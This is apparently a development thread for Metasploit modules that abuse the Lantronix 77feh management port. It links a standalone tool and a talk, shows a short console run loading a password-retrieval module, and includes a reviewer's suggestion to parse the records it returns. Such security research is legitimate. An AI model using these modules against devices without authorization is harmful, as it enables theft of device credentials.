Lantronix abuse of 77feh port

Hello!

These are all modules which are abusing Lantronix 77feh port.

Take a look at the standalone utility:
https://github.com/kost/lantronix-witchcraft
And presentation I've done on Confidence/BalCCon:
http://www.slideshare.net/kost/vk-exploringtreasuresof77-fehlantronixconfidence2014

Example run:
```
msf exploit(psexec_psh) > use auxiliary/admin/lantronix/lantronix_77feh_password
msf auxiliary(lantronix_77feh_password) > show options

What interesting information is in these records :?  I think worths to parse and store the interesting information in database, instead of just dumping full records. Which in the other hand could make console output too much verbose when scanning a big set of hosts.
